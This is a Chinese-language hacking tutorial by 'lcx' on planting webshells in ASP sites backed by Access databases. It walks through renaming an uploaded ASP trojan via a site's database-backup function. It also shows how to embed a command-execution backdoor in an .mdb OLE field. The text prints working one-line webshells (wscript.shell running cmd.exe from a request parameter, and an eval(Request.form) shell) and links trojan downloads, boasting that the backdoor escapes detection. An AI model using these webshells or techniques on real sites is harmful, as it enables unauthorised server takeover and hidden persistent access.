文章作者:lcx
在ASP+MSSQL情况下InJection直接得到一个webshell是很平常的事情,但是在asp+acess下是一件不可能完成的任务,因为ACESS的弱智sql语句很难让你有所作为。不过,巧妙利用acess程序的一些特性,我们也可以间接得到一个webshell。
一、利用acess数据库备份到shell。
我曾经通过常规注射方法拿到了一个下载系统的后台密码。但是进入后台后却发现,程序不让你上传.asp、.asa、.cdx、.cer等文件,只允许图像和rar压缩文档上传,看样子程序编写者还是很注重防范asp木马的。难道就这样放弃吗?我在后台翻来倒去,发现了一个数据库备份功能。(图1)
利用sql语句来备份数据库?好像我还不知有这样的针对acess的sql语句。如果我估计不错的话,应当就是调用了asp的fso功能将当前数据库文件copy到另一个路径而已。于是我将海阳顶端网asp木马2004.asp改成2004.gif上传到了该下载系统空间,然后做了如图2所示的设置,意思是将2004.gif备份得另一个路径,文件名变为2004.asp。(图2) 点击图2的备份数据按扭后,我成功的得到了一个webshell。我估计不借的话,应当这可以作为一个通用的变通得到websehll的方法。bbsxp论坛我也试过,成功过。
二、利用数据库防下载功能得到webshell。
防止acess数据库被下载通常的做法是在数据库某个表中增加一个ole字段,字段里写入一个包含“<%”的二进制数据,然后将.mdb后缀改成.asp就可以防止下载了。这种作法的原理其实就是把这个.mdb变成.asp文件,而.asp文件自然无法下载。想到了没有?如果这里我们在.mdb文件里写入一个asp的后门代码的话,肯定它也会执行的。来吧,一步一步跟我做。
我在网上随便一个找了一个文章系统的article.mdb文件,用acess2003打开建了一个nodown字段,数据类型为ole对像,根据提示保存表名为nodwon表。(这里我没有给nodwon表设定主键)。(图3)
然后双击nodwon表,点acess2003的插入菜单里的对象选项,在弹出的对话框中选择由文件创建选项。(图4)
关键的一步到了,我将以下代码
“<%=server.createobject("wscript.shell").exec("cmd.exe /c" &request("c")).stdout.readall%>”保存成了1.asp,然后在点击图4的浏览按扭插入1.asp(图5)。
大功告成,我们现在已经可以把这个article.mdb改名为*.asp来当asp木马使用了。这里我写的这段asp代码的用法是*.asp?c=cmd命令,如*.asp?c=dir+c:\。自然,我们要来看看这个的article.mdb改名为lcx.asp如何运行。输入
http://192.168.0.9:3005/6k/lcx.asp?c=dir+d:\,在浏览器里得到了一大堆的乱码,拉动ie下拉条,成功看到了d:的目录列表。Yeah!(图6)
我曾经尝试把海阳顶网2004.asp代码写入数据库,但是没有成功过,毕竟代码太复杂了。也许你觉得我写的这段asp代码太简略,功能也简单,你可以尝试一下冰狐浪子的asp代码。下载地址是:
http://www.xfocus.net/tools/200404/icyfox007v1.10.rar。不过要注意的是,写入的asp代码只写<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('#')+'')</SCRIPT>这一句即可。当然,我的方法也不能保证百分百成功,但成功率是很高的。这样把asp代码插入在网站的acess数据库中,是多么巧妙可怕而不能被查杀的asp后门呀。
lcx又一经典文章
http://www.haiyang.net/safety/topic.asp?id=410
远程下载:
http://freett.com/haiyang/hehe.rar
压缩包里有直接写入access的asp代码